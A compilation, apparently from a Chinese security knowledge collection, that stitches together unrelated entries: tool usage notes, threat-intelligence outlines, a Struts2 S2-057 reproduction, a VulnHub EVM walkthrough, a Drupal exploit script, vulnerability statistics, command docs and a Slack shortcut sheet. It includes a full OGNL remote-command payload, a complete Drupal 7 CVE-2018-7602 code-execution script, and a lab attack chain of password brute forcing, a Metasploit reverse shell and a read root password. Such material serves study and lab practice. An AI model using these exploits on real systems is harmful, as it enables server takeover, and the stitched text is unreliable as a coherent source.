apache-users – 列举在Apache UserDir模块中的用户名
```
root@kali:~# apache-users
USAGE: apache.pl [-h 1.2.3.4] [-l names] [-p 80] [-s (SSL Support 1=true 0=false)] [-e 403 (http code)] [-t threads]
```
# apache-users使用范例
分析远程主机 (-h 192.168.1.202), 传送有用户名的目录 (-l /usr/share/wordlists/metasploit/unix_users.txt),监听端口 (-p 80), 不使用SSL (-s 0), 指明HTTP状态码 (-e 403), 使用10个线程 (-t 10):
```
root@kali:~# apache-users -h 192.168.1.202 -l /usr/share/wordlists/metasploit/unix_users.txt -p 80 -s 0 -e 403 -t 10
```
|
sec-knowleage
|
# 黑灰产情报生产概论
## 数据源
### 真实设施中采集
从黑灰产的真实设施中进行数据的采集。
### 监控中间平台
分析黑灰产链条,**监控**上下游聚集并在进行信息、物品交换的**中间平台**。

图:业务安全情报的生产 - 数据来源[1]
## 数据加工
### 数据提炼
#### 要素采集
以下是一个QQ群组监控中进行**要素(自己定义:在黑产事件中的可观察指标,称为黑产要素)**采集的归类。
P.S. 这是一个数据采集环节
- 人
- 群号
- 昵称
- 身份(群主/管理员)
- 所在群
- 入群时间
- 发送消息数量
- 群
- 群ID
- 群成员
- 群公告
- 群消息数量
- 群共享文件
- 消息
- 消息内容
- 发送时间
- 发送者
- 发送的群
- 发送的数量

图:业务安全情报的生产 - 数据加工[1]
#### 话术处理[TODO]
在年黑灰产行业常用着一些”黑词“、“黑话“,需要进行这些专业名词的处理。
关于术语请详可见本文档的[《黑词及黑话大全》](https://y1ng.org/TheRoadOfSO/0x2_%E9%BB%91%E7%81%B0%E4%BA%A7%E7%A0%94%E7%A9%B6/2x7_%E9%BB%91%E8%AF%8D_%E9%BB%91%E8%AF%9D%E5%A4%A7%E5%85%A8/)一篇。
关于话术处理仍需补充 [TODO]
#### 要素聚合
根据事件要素进行关联、聚合,输出为高纬度的数据,例如:
- 风险场景
- 置信度
- 攻击手段
- 角色
- 情报来源
- ...
#### 参考:业务风险情报平台

图:业务风险情报平台[1]
## References
\[1] 基于业务安全情报的攻防实践,邓欣,2020CIS网络安全创新大会
|
sec-knowleage
|
# Struts2 S2-057 远程命令执行漏洞(CVE-2018-11776)
当Struts2的配置满足以下条件时:
- alwaysSelectFullNamespace值为true
- action元素未设置namespace属性,或使用了通配符
namespace将由用户从uri传入,并作为OGNL表达式计算,最终造成任意命令执行漏洞。
影响版本: 小于等于 Struts 2.3.34 与 Struts 2.5.16
漏洞详情:
- https://cwiki.apache.org/confluence/display/WW/S2-057
- https://lgtm.com/blog/apache_struts_CVE-2018-11776
- https://xz.aliyun.com/t/2618
- https://mp.weixin.qq.com/s/iBLrrXHvs7agPywVW7TZrg
## 漏洞环境
启动满足条件的 Struts 2.3.34 环境:
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8080/showcase/`,将可以看到Struts2的测试页面。
## 漏洞复现
测试OGNL表达式`${233*233}`:
```
http://your-ip:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action
```

可见233*233的结果已返回在Location头中。
使用[S2-057原理分析与复现过程(POC)](https://mp.weixin.qq.com/s/iBLrrXHvs7agPywVW7TZrg)中给出的执行任意命令的OGNL表达式:
```
${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
```
可见,id命令已成功执行:

|
sec-knowleage
|
import sys
data = "010001110101111001100011011011100100100100111001010111100100011101000111001110010100011100111001010001110011100101000111001110010101111001100011011011100100100101101110010010010011100100110101010111100110001100111001001101010110111001001001011011100100100101000111010111100011100100110101011011100100100101011110011000110100011101011110001110010011010101011110011000110101111001100011010111100110001101000111010111100101111001100011011011100100100101000111010111100011100100110101010001110101111001101110010010010101111001100011010111100110001101101110010010010101111001100011010111100110001100111001001101010100011101011110010111100110001101011110011000110101111001100011010001110101111001000111010111100101111001100011011011100100100101101110010010010101111001100011"
chunkLen = 8
def f_and(a, b):
if(a == "1" and b == "1"):
return "1"
return "0"
def f_or(a, b):
if(a == "1" or b == "1"):
return "1"
return "0"
def f_xor(a, b):
if(a != b):
return "1"
return "0"
def f_not(a):
if(a == "1"):
return "0"
if(a == "0"):
return "1"
else :
print("Illegal char")
print(a)
print("/Illegal char")
for q in range(0, len(data), chunkLen):
inputs = []
for i in range(0, 8):
inputs.append(data[q+i:q+i+1])
first = ["0", "0", "0", "0", "0", "0"]
first[0] = f_not(inputs[2])
first[1] = f_not(inputs[3])
first[2] = f_not(inputs[4])
first[3] = f_not(inputs[1])
first[4] = f_not(inputs[5])
first[5] = f_not(inputs[7])
second = ["0", "0", "0", "0", "0"]
second[0] = f_and(inputs[0], first[0])
second[1] = f_and(first[0], first[3])
second[2] = f_and(inputs[0], inputs[1])
second[3] = f_xor(inputs[6], inputs[5])
second[4] = f_xor(first[3], first[5])
third = ["0", "0", "0", "0", "0"]
third[0] = f_and(second[0], first[1])
third[1] = f_and(first[1], second[1])
third[2] = f_and(second[2], first[1])
third[3] = f_and(first[4], inputs[2])
third[4] = f_and(inputs[2], second[4])
fourth = ["0", "0", "0", "0"]
fourth[0] = f_and(third[0], first[2])
fourth[1] = f_and(first[2], third[1])
fourth[2] = f_and(first[2], third[2])
fourth[3] = f_and(third[3], second[3])
fifth = ["0", "0"]
fifth[0] = f_or(fourth[0], fourth[1])
fifth[1] = f_or(fourth[2], fourth[3])
sixth = [0]
sixth[0] = f_or(fifth[1], third[4])
seventh = f_or(fifth[0], sixth[0])
sys.stdout.write(seventh)
print
|
sec-knowleage
|
# EVM: 1
> https://download.vulnhub.com/evm/EVM.ova
靶场IP:`192.168.32.11`
扫描对外端口服务
```
┌──(root㉿kali)-[~]
└─# nmap -sV -p1-65535 192.168.32.11
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-08 04:16 EDT
Nmap scan report for 192.168.32.11
Host is up (0.00019s latency).
Not shown: 65528 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
110/tcp open pop3 Dovecot pop3d
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap Dovecot imapd
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 08:00:27:F4:BF:C2 (Oracle VirtualBox virtual NIC)
Service Info: Host: UBUNTU-EXTERMELY-VULNERABLE-M4CH1INE; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.10 seconds
```
访问80端口

爆破目录
```
┌──(root㉿kali)-[~]
└─# dirb http://192.168.32.11/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Thu Sep 8 04:19:07 2022
URL_BASE: http://192.168.32.11/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.32.11/ ----
+ http://192.168.32.11/index.html (CODE:200|SIZE:10821)
+ http://192.168.32.11/info.php (CODE:200|SIZE:83001)
+ http://192.168.32.11/server-status (CODE:403|SIZE:301)
==> DIRECTORY: http://192.168.32.11/wordpress/
---- Entering directory: http://192.168.32.11/wordpress/ ----
+ http://192.168.32.11/wordpress/index.php (CODE:301|SIZE:0)
==> DIRECTORY: http://192.168.32.11/wordpress/wp-admin/
==> DIRECTORY: http://192.168.32.11/wordpress/wp-content/
==> DIRECTORY: http://192.168.32.11/wordpress/wp-includes/
+ http://192.168.32.11/wordpress/xmlrpc.php (CODE:405|SIZE:42)
---- Entering directory: http://192.168.32.11/wordpress/wp-admin/ ----
+ http://192.168.32.11/wordpress/wp-admin/admin.php (CODE:302|SIZE:0)
==> DIRECTORY: http://192.168.32.11/wordpress/wp-admin/css/
==> DIRECTORY: http://192.168.32.11/wordpress/wp-admin/images/
==> DIRECTORY: http://192.168.32.11/wordpress/wp-admin/includes/
+ http://192.168.32.11/wordpress/wp-admin/index.php (CODE:302|SIZE:0)
==> DIRECTORY: http://192.168.32.11/wordpress/wp-admin/js/
==> DIRECTORY: http://192.168.32.11/wordpress/wp-admin/maint/
==> DIRECTORY: http://192.168.32.11/wordpress/wp-admin/network/
==> DIRECTORY: http://192.168.32.11/wordpress/wp-admin/user/
---- Entering directory: http://192.168.32.11/wordpress/wp-content/ ----
+ http://192.168.32.11/wordpress/wp-content/index.php (CODE:200|SIZE:0)
==> DIRECTORY: http://192.168.32.11/wordpress/wp-content/plugins/
==> DIRECTORY: http://192.168.32.11/wordpress/wp-content/themes/
==> DIRECTORY: http://192.168.32.11/wordpress/wp-content/uploads/
```
使用wpscan扫描,找到`c0rrupt3d_brain`用户
```
┌──(root㉿kali)-[~]
└─# wpscan --url http://192.168.32.11/wordpress/ -e at -e ap -e u
[i] User(s) Identified:
[+] c0rrupt3d_brain
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
```
爆破密码
```
┌──(root㉿kali)-[/tmp]
└─# wpscan --url http://192.168.32.11/wordpress/ -U c0rrupt3d_brain -P /usr/share/wordlists/rockyou.txt
[!] Valid Combinations Found:
| Username: c0rrupt3d_brain, Password: 24992499
```
msf
```
msf6 > use exploit/unix/webapp/wp_admin_shell_upload
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set rhosts 192.168.32.11
rhosts => 192.168.32.11
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set targeturi /wordpress
targeturi => /wordpress
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set username c0rrupt3d_brain
username => c0rrupt3d_brain
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set password 24992499
password => 24992499
msf6 exploit(unix/webapp/wp_admin_shell_upload) > exploit
msf6 exploit(unix/webapp/wp_admin_shell_upload) > exploit
[*] Started reverse TCP handler on 192.168.32.5:4444
[*] Authenticating with WordPress using c0rrupt3d_brain:24992499...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /wordpress/wp-content/plugins/rAhUxTfIFH/eVAOubjMZT.php...
[*] Sending stage (39860 bytes) to 192.168.32.11
[+] Deleted eVAOubjMZT.php
[+] Deleted rAhUxTfIFH.php
[+] Deleted ../rAhUxTfIFH
[*] Meterpreter session 1 opened (192.168.32.5:4444 -> 192.168.32.11:43416 ) at 2022-09-08 04:37:28 -0400
meterpreter >
```
```
python3 -c 'import pty;pty.spawn("/bin/bash")'
```
```
www-data@ubuntu-extermely-vulnerable-m4ch1ine:/home/root3r$ ls -al
ls -al
total 40
drwxr-xr-x 3 www-data www-data 4096 Nov 1 2019 .
drwxr-xr-x 3 root root 4096 Oct 30 2019 ..
-rw-r--r-- 1 www-data www-data 515 Oct 30 2019 .bash_history
-rw-r--r-- 1 www-data www-data 220 Oct 30 2019 .bash_logout
-rw-r--r-- 1 www-data www-data 3771 Oct 30 2019 .bashrc
drwxr-xr-x 2 www-data www-data 4096 Oct 30 2019 .cache
-rw-r--r-- 1 www-data www-data 22 Oct 30 2019 .mysql_history
-rw-r--r-- 1 www-data www-data 655 Oct 30 2019 .profile
-rw-r--r-- 1 www-data www-data 8 Oct 31 2019 .root_password_ssh.txt
-rw-r--r-- 1 www-data www-data 0 Oct 30 2019 .sudo_as_admin_successful
-rw-r--r-- 1 root root 4 Nov 1 2019 test.txt
www-data@ubuntu-extermely-vulnerable-m4ch1ine:/home/root3r$ cat .sudo_as_admin_successful
uccessful_as_admin_s
www-data@ubuntu-extermely-vulnerable-m4ch1ine:/home/root3r$ cat .root_password_ssh.txt
sh.txtoot_password_s
willy26
```
直接登录

|
sec-knowleage
|
#!/usr/bin/env python3
import requests
import argparse
from bs4 import BeautifulSoup
def get_args():
parser = argparse.ArgumentParser( prog="drupa7-CVE-2018-7602.py",
formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
epilog= '''
This script will exploit the (CVE-2018-7602) vulnerability in Drupal 7 <= 7.58
using an valid account and poisoning the cancel account form (user_cancel_confirm_form)
with the 'destination' variable and triggering it with the upload file via ajax (/file/ajax).
''')
parser.add_argument("user", help="Username")
parser.add_argument("password", help="Password")
parser.add_argument("target", help="URL of target Drupal site (ex: http://target.com/)")
parser.add_argument("-c", "--command", default="id", help="Command to execute (default = id)")
parser.add_argument("-f", "--function", default="passthru", help="Function to use as attack vector (default = passthru)")
parser.add_argument("-x", "--proxy", default="", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = none)")
args = parser.parse_args()
return args
def pwn_target(target, username, password, function, command, proxy):
requests.packages.urllib3.disable_warnings()
session = requests.Session()
proxyConf = {'http': proxy, 'https': proxy}
try:
print('[*] Creating a session using the provided credential...')
get_params = {'q':'user/login'}
post_params = {'form_id':'user_login', 'name': username, 'pass' : password, 'op':'Log in'}
print('[*] Finding User ID...')
session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
get_params = {'q':'user'}
r = session.get(target, params=get_params, verify=False, proxies=proxyConf)
soup = BeautifulSoup(r.text, "html.parser")
user_id = soup.find('meta', {'property': 'foaf:name'}).get('about')
if ("?q=" in user_id):
user_id = user_id.split("=")[1]
if(user_id):
print('[*] User ID found: ' + user_id)
print('[*] Poisoning a form using \'destination\' and including it in cache.')
get_params = {'q': user_id + '/cancel'}
r = session.get(target, params=get_params, verify=False, proxies=proxyConf)
soup = BeautifulSoup(r.text, "html.parser")
form = soup.find('form', {'id': 'user-cancel-confirm-form'})
form_token = form.find('input', {'name': 'form_token'}).get('value')
get_params = {'q': user_id + '/cancel', 'destination' : user_id +'/cancel?q[%23post_render][]=' + function + '&q[%23type]=markup&q[%23markup]=' + command }
post_params = {'form_id':'user_cancel_confirm_form','form_token': form_token, '_triggering_element_name':'form_id', 'op':'Cancel account'}
r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
soup = BeautifulSoup(r.text, "html.parser")
form = soup.find('form', {'id': 'user-cancel-confirm-form'})
form_build_id = form.find('input', {'name': 'form_build_id'}).get('value')
if form_build_id:
print('[*] Poisoned form ID: ' + form_build_id)
print('[*] Triggering exploit to execute: ' + command)
get_params = {'q':'file/ajax/actions/cancel/#options/path/' + form_build_id}
post_params = {'form_build_id':form_build_id}
r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
parsed_result = r.text.split('[{"command":"settings"')[0]
print(parsed_result)
except:
print("ERROR: Something went wrong.")
raise
def main():
print ()
print ('===================================================================================')
print ('| DRUPAL 7 <= 7.58 REMOTE CODE EXECUTION (SA-CORE-2018-004 / CVE-2018-7602) |')
print ('| by pimps |')
print ('===================================================================================\n')
args = get_args() # get the cl args
pwn_target(args.target.strip(),args.user.strip(),args.password.strip(), args.function.strip(), args.command.strip(), args.proxy.strip())
if __name__ == '__main__':
main()
|
sec-knowleage
|
[返回目录](README-zh.md)
### Hackerone 公开漏洞统计
目前为止,Hackerone 平台已经发现 1731 个公开的漏洞,主要来自 Twitter、Uber、Dropbox、Github 等公司。其中 8 个已经删除,9 个来自互联网或者特定的语言,剩下的 1714 个中,有 1359 个我们可以通过代码或者人工的方式进行分类。
#### 按照错误的类型划分
| 类型 | 数量 | 占比 |
| --- | --- | --- |
| 用户输入过滤 | 481 | 27.8
| 其他代码问题 | 549 | 31.7
| 配置问题 | 325 | 18.8
| 无法归类+信息+垃圾 | 376 | 21.7
#### 按照发生的频率排序
其中 1/3 的问题与 XSS、不安全的数据引用 (数据泄露) 或者忘记设置 CSRF token 有关,这个 [页面](https://hackerone.com/hacktivity/new) 列举的这些问题非常有趣,值得一读.
类型|数量|占比
| --- | --- | --- |
XSS|375|21.87
非安全引用 + 数据泄露|104|6.06
CSRF Token|99|5.77
开放重定向|59|3.44
信息/源代码泄露|57|3.32
DNS 配置错误 + Apache/Nginx + 子域名接管 + Open AWS_S3|44|2.56
不正确的 session 管理/固定|39|2.27
TLS/SSL/POODLE/Heartbleed|39|2.27
HTML/JS/XXE/内容注入|37|2.15
HTTP 头信息问题|34|1.98
空指针 + 段错误 + 在 free() 之后使用内存|33|1.92
DMARC/DKIM/邮件 SPF 设置|31|1.8
SQL 注入|28|1.63
点击劫持|27|1.57
不正确的 cookie 使用 (secure/httpOnly/暴露)|25|1.45
路径暴露|25|1.45
开放权限|24|1.4
暴力破解|24|1.4
内容欺诈|20|1.16
缓冲区溢出|20|1.16
拒绝服务|19|1.1
服务端请求伪造|18|1.05
Adobe Flash 漏洞|18|1.05
用户/信息 枚举|17|0.99
远程代码执行|15|0.87
密码重置 token 过期/尝试/其他|13|0.75
整型溢出|11|0.64
版本泄露|11|0.64
CSV 注入|10|0.58
权限放大|9|0.52
OAuth 状态/泄露和其他问题|9|0.52
密码策略|7|0.4
CRLF|7|0.4
python 语言|6|0.35
单向攻击|6|0.35
文件上传类型/大小/存储位置 过滤|6|0.35
Captcha|5|0.29
远程/本地 文件包含|4|0.23
目录列表|4|0.23
路径遍历|4|0.23
远程文件上传|4|0.23
(WEB表单)开启自动填充|4|0.23
通过引用泄露|3|0.17
Pixel Flood Attack|3|0.17
输入控制字符|2|0.11
### 一些特殊的漏洞类型
1. 竞态条件漏洞
2. Pixel Flood Attack
3. IDN Homograph Attack
4. 输入控制字符后输入一些有趣的东西
|
sec-knowleage
|
unzip
===
用于解压缩由zip命令压缩的压缩包
## 补充说明
**unzip命令** 用于解压缩由zip命令压缩的“.zip”压缩包。
### 语法
```shell
unzip(选项)(参数)
```
### 选项
```shell
-c:将解压缩的结果显示到屏幕上,并对字符做适当的转换;
-f:更新现有的文件;
-l:显示压缩文件内所包含的文件;
-p:与-c参数类似,会将解压缩的结果显示到屏幕上,但不会执行任何的转换;
-t:检查压缩文件是否正确;
-u:与-f参数类似,但是除了更新现有的文件外,也会将压缩文件中的其他文件解压缩到目录中;
-v:执行时显示详细的信息;
-z:仅显示压缩文件的备注文字;
-a:对文本文件进行必要的字符转换;
-b:不要对文本文件进行字符转换;
-C:压缩文件中的文件名称区分大小写;
-j:不处理压缩文件中原有的目录路径;
-L:将压缩文件中的全部文件名改为小写;
-M:将输出结果送到more程序处理;
-n:解压缩时不要覆盖原有的文件;
-o:不必先询问用户,unzip执行后覆盖原有的文件;
-P<密码>:使用zip的密码选项;
-q:执行时不显示任何信息;
-s:将文件名中的空白字符转换为底线字符;
-V:保留VMS的文件版本信息;
-X:解压缩时同时回存文件原来的UID/GID;
-d<目录>:指定文件解压缩后所要存储的目录;
-x<文件>:指定不要处理.zip压缩文件中的哪些文件;
-Z:unzip-Z等于执行zipinfo指令。
```
### 参数
压缩包:指定要解压的“.zip”压缩包。
### 实例
将压缩文件text.zip在当前目录下解压缩。
```shell
unzip test.zip
```
将压缩文件text.zip在指定目录`/tmp`下解压缩,如果已有相同的文件存在,要求unzip命令不覆盖原先的文件。
```shell
unzip -n test.zip -d /tmp
```
查看压缩文件目录,但不解压。
```shell
unzip -v test.zip
```
将压缩文件test.zip在指定目录`/tmp`下解压缩,如果已有相同的文件存在,要求unzip命令覆盖原先的文件。
```shell
unzip -o test.zip -d tmp/
```
解压指定文件,* 用作通配符。
```shell
unzip test.zip "*.jpg"
```
|
sec-knowleage
|
# 相关产品
本篇整理态势感知相关产品。
## 国内
[1] 泰坦人工智能安全态势感知——《互联网资产管理与漏洞运营实践
&安全产品线》,华泰证券,https://cloud.ssetech.com.cn/p/DUf-3PEQtwcY7gg
\[2] 盛华安,https://www.cyberskysec.com/
## 国外
## 列表
[1] Reviews for Security Information and Event Management (SIEM) Market,Gartner公司整理的安全信息与事件管理系统(SIME)产品矩阵图,https://www.gartner.com/reviews/market/security-information-event-management
|
sec-knowleage
|
#include <cstdio>
#define PRE 1000000000
short pre[PRE];
typedef unsigned long long ull;
ull collatz(ull n){
if(n%2 == 0){
return n/2;
}
return n*3+1;
}
short collatzcnt(ull n){
if(n>=PRE){
return 1+collatzcnt(collatz(n));
}
if(pre[n]==-1){
pre[n]=1+collatzcnt(collatz(n));
}
return pre[n];
}
ull fibmod(ull n, ull m){
if(n<=1){
return n%m;
}
ull a=0;
ull b=1;
for(ull i=0; i<n; i++){
ull c=(a+b)%m;
a=b;
b=c;
}
return a;
}
int main(){
ull n;
scanf("%llu", &n);
for(int i=0; i<PRE; i++){
pre[i]=-1;
}
pre[0]=0;
pre[1]=0;
ull sum=0;
for(ull i=1; i<=n; i++){
if(i%100000000 == 0){ fprintf(stderr, "%llu/%llu\n", i/100000, n/100000); }
sum+=collatzcnt(i);
}
printf("%llx\n", fibmod(n, sum));
}
|
sec-knowleage
|
# 数据分析相关
对于黑灰产的分析,会用到数据分析相关的知识。从数据获取——数据预处理——数据整合——数据分析——数据可视化/形成报告。在风控这块,最后能还原攻击特征,甚至写一些自动化监测、分析的脚本,最后能将这些特征加入风控规则内。
### 资料整合
整合一些和企业安全相关的数据分析资料
- 安全数据分析:[Link](https://github.com/secure-data-analysis-data-sharing/data-analysis)
- 企业安全相关:[Link](https://github.com/AnyeDuke/Enterprise-Security-Skill)
- 科来,网络通讯协议图:[Link]http://www.colasoft.com.cn/download/protocols_map.php)
### 安全数据分析
#### 总体的流程

- 数据采集——格式化——管道输出——统计分析——结果处理——可视化

- 数据采集(以日志分析为例)

#### 建模思路
- 两种基础的建模思路

### 大数据预警溯源

图:发达国家预警溯源平台

图:绿盟安全大数据分析系统
#### 万能溯源
- 对任意IP进行分析
- 分析统计流量
- 分析访问的来源
- 渐进地分析流量的组成
- 地图挖掘(根据流量的不同地区,选择不同的挖掘力度)
### 数据挖掘
- 渐进式挖掘
- 地图挖掘
- TODO
### 数据取样
- 关键词取样
- 根据特定的**关键词及关键词组合**,从全集数据中提取与特定分析对象或特定分析场景有关的数据子集
- 主要用于**数据统计或趋势分析**
- 相似度采样
- 根据文本或样本数据的相似度,从全集数据中提取具有**较高相似度的数据子集**
- 主要用于**数据分类统计或案例分析**
- 随机采样
- 对未知类型或内容数据进行**简单随机采样**,抽样比例根据具体的分析场景决定
- 主要用于**情报线索发现或关键词校验**
- 分层采样
- 对已知工具/事件数据**按既定的标签规则分为若干子集**,对每个子集中的数据**随机抽取部分数据**进行分析,抽样比例根据具体分析场景决定
- 主要用于**案例分析或关键词校验**
- 人工经验判断
- 受限于数据获取的渠道、数据本身的变化、抽样概率的限制及样本噪点的影响,需要采取人工经验判断的方式进行修正
### 聚类分析
#### 定义
> 聚类分析是根据在数据中发现的描述对象及其关系的信息,**将数据对象分组**。
>
> 目的是,组内的对象相互之间是相似的(相关的),而不同组中的对象是不同的(不相关的)。组内相似性越大,组间差距越大,说明聚类效果越好。
例如,在实际过程中,分析灰黑产的流程和工具,对被攻击的接口请求进行特征汇总。使用聚类分析的方法,将正常请求和恶意请求进行分组汇总。
> 聚类效果的好坏依赖于两个因素:
>
> **1.衡量距离的方法(distance measurement)**
>
> 2.**聚类算法(algorithm)**
>
> 一篇文章透彻解读聚类分析(附数据和R代码): [Link](https://zhuanlan.zhihu.com/p/37856153)
#### 衡量距离的方法
- 数值变量
> - Minkowski 距离:X和Y是两个向量,![[公式]](https://www.zhihu.com/equation?tex=X%3D%28x_1%2Cx_2%2C...%2Cx_p%29) , ![[公式]](https://www.zhihu.com/equation?tex=Y%3D%28y_1%2Cy_2%2C...%2Cy_p%29) ,那么 ![[公式]](https://www.zhihu.com/equation?tex=d%28X%2CY%29%3D%5Csqrt%5Bq%5D%7B%5Cleft%7C+x_1-y_1+%5Cright%7C%5E%7Bq%7D%2B%5Cleft%7C+x_2-y_2+%5Cright%7C%5E%7Bq%7D%2B...%2B%5Cleft%7C+x_p-y_p+%5Cright%7C%5E%7Bq%7D%7D) ,q 是正整数
> - Euclidean 距离:是Minkowski,q=2时的特例 ![[公式]](https://www.zhihu.com/equation?tex=d%28X%2CY%29%3D%5Csqrt%5B%5D%7B%5Cleft%7C+x_1-y_1+%5Cright%7C%5E%7B2%7D%2B%5Cleft%7C+x_2-y_2+%5Cright%7C%5E%7B2%7D%2B...%2B%5Cleft%7C+x_p-y_p+%5Cright%7C%5E%7B2%7D%7D)
> - Manhattan 距离: 是Minkowski, q=1时的特例 ![[公式]](https://www.zhihu.com/equation?tex=d%28X%2CY%29%3D%5Cleft%7C+x_1-y_1+%5Cright%7C%2B%5Cleft%7C+x_2-y_2+%5Cright%7C%2B...%2B%5Cleft%7C+x_p-y_p+%5Cright%7C)
> - Mahalanobis 距离:权重向量 ![[公式]](https://www.zhihu.com/equation?tex=W%3D%28w_1%2Cw_2%2C...%2Cw_p%29) ,那么 ![[公式]](https://www.zhihu.com/equation?tex=d%28X%2CY%29%3D%5Csqrt%5Bq%5D%7Bw_1%2A%5Cleft%7C+x_1-y_1+%5Cright%7C%5E%7Bq%7D%2Bw_2%2A%5Cleft%7C+x_2-y_2+%5Cright%7C%5E%7Bq%7D%2B...%2Bw_p%2A%5Cleft%7C+x_p-y_p+%5Cright%7C%5E%7Bq%7D%7D)
- 二元变量
- 分类变量
- 有序变量
#### 聚类算法
- K-均值聚类(k-means)
- > 1.选择 K 个初始质心,初始质心随机选择即可,每一个质心为一个类
> 2.把每个观测指派到离它最近的质心,与质心形成新的类
> 3.重新计算每个类的质心,所谓质心就是一个类中的所有观测的平均向量(这里称为向量,是因为每一个观测都包含很多变量,所以我们把一个观测视为一个多维向量,维数由变量数决定)。
> 4.重复2. 和 3.
> 5.直到质心不在发生变化时或者到达最大迭代次数时
- 实例
- 随机选择3个初始质心,每个质心为一类
<img src="https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200309095848.png" style="zoom:50%;" />
- 计算每一个不是质心的点到这三个质心的距离
- 将这些点归类于距离最近的那个质心的一类
- 重新计算这三个分类的质心
- 不断重复上述两步,更新三个类
<img src="https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200309095920.png" style="zoom:50%;" />
- 当稳定之后,迭代停止,这时候的三个类就是最后的结果
<img src="https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200309095939.png" style="zoom:50%;" />
- 层次聚类(Hierarchical)
- 根据密度的聚类
- 根据网格的聚类
### 交叉分析
- 研究黑灰产产业链特征,对比核心业务的产业链特征,进行交叉分析(总结产业链中角色**交叉**衍生产业链的上游,并对上游人员监控)
- 批量行为都是有迹可循的,可以在在设备信息、注册信息重合度、 恶意用户的行为数据等方面,进行多维度的判断
### 建模分析
结合自身后台数据的黑白名单,行为建模、分析等 TODO
### 可视化查询
- 分析攻击源流量,通过力导向用(来呈现复杂关系网络的图表图),找到共同的通讯IP
|
sec-knowleage
|
name: Update dockerhub
on:
push:
branches:
- 'master'
- 'ci-docker'
jobs:
docker:
runs-on: ubuntu-latest
steps:
- name: Check out the repo
uses: actions/checkout@v2
- name: Login to DockerHub
uses: docker/login-action@v1
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Build and push
id: docker_build
uses: docker/build-push-action@v2
with:
push: true
tags: ctfwiki/ctf-wiki:latest
|
sec-knowleage
|
---
title: Slack
date: 2022-11-23 16:23:31.705147
background: bg-[#4d1a51]
label:
tags:
-
-
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 62 keyboard shortcuts found in Slack
---
Keyboard Shortcuts
------------------
### Navigation {.row-span-4}
Shortcut | Action
---|---
`Tab` | Move focus to the next element
`Shift` `Tab` | Move focus to the previous element
`Up/Down` | Move focus through messages in a channel or DM
`F6` | Move focus to the next section
`Shift` `F6` | Move focus to the previous section
`Space` | Take action or 'click' on buttons
`Enter` | Take action or 'click' on links
`Esc` | Close windows, menus, or the message field
`Ctrl` `+/-` | Zoom in/out
`Home/PgUp` | Scroll up
`End/PgDown` | Scroll down
`Ctrl` `K` | Quick Switcher
`Ctrl` `Shift` `K` | Open direct messages menu
`Ctrl` `Shift` `L` | Browse all channels
`Ctrl` `Shift` `T` | Open All Threads view
`Alt` `Up` | Previous channel or DM
`Alt` `Down` | Next channel or DM
`Alt` `Shift` `Up` | Previous unread channel or DM
`Alt` `Shift` `Down` | Next unread channel or DM
`Alt` `Left` | Prevous channel or DM visited
`Alt` `Right` | Next channel or DM visited
`Ctrl` `,` | Preferences (desktop apps only)
`Ctrl` `.` | Open or close right pane
`Ctrl` `Shift` `I` | Channel info pane
`Ctrl` `Shift` `M` | Activity
`Ctrl` `Shift` `E` | Directory
`Ctrl` `Shift` `S` | Starred Items
`Ctrl` `F` | Search the current channel or conversation
`Ctrl` `G` | Open previous search
`Ctrl` `Shift` `F` | Toggle full screen view
{.shortcuts}
### All Unreads navigation
Shortcut | Action
---|---
`Ctrl` `Shift` `A` | Open All Unreads view
`Alt` `(click a message)` | Mark message as unread
`Left/Right` | Move between channels
`R` | Toggle current channel read or unread
{.shortcuts}
### Switch workspaces
Shortcut | Action
---|---
`Ctrl` `Shift` `Tab` | Switch to previous workspace
`Ctrl` `Tab` | Switch to next workspace
`Ctrl` `[number]` | Switch to a specific workspace
{.shortcuts}
### Mark messages read or unread
Shortcut | Action
---|---
`Esc` | Mark all messages in current channel or DM as read
`Shift` `Esc` | Mark all messages as read
